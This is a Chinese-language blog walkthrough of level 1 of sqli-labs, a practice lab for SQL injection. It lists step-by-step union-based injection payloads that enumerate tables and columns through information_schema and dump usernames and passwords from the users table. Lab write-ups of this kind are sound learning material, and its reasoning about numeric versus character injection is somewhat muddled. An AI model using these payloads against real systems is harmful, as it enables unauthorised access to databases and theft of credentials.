sqli-labs 通关笔记第一关

打开第一关,提示,往id里传参

1,?id=\,报错,判断是用'闭合的

2,先判断是字符型还是数字型

用and1=1和and1=2来判断

url中输入id=x and 1=1  回显正常

url中输入id=x and 1=2 回显错误

说明为数字型注入

若为字符型

应为select*from <表名>where id='x and 1=2'

3,判断表字段数有几列数据 

/?id=1' order by 3 --+   回显正常

/?id=1' order by 4 --+   报错,说明只有三个字段

4,使用联合查询是否有显示位 union select 1,2,3

/?id=1' union select 1,2,3 --+   返回页面不变,

5,猜测有LIMIT语句控制显示内容

/?id=-1' union select 1,2,3 --+

返回显示页出来。为2,3可以显示内容

6,利用这一点获取数据库和数据表

/?id=-1' union select 1,database(),group_concat(table_name)from information_schema.tables where information_schema.tables.table_schema=database() --+

返回数据库为security,表名为emalls,referers,uagents,users

7,获取指定表字段

/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+

返回三个字段

8,获取指定表的数据,username,password

?id=-1' union select 1,2,group_concat(concat_ws('-',username,password))from users --+

另一个表一样的步骤

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值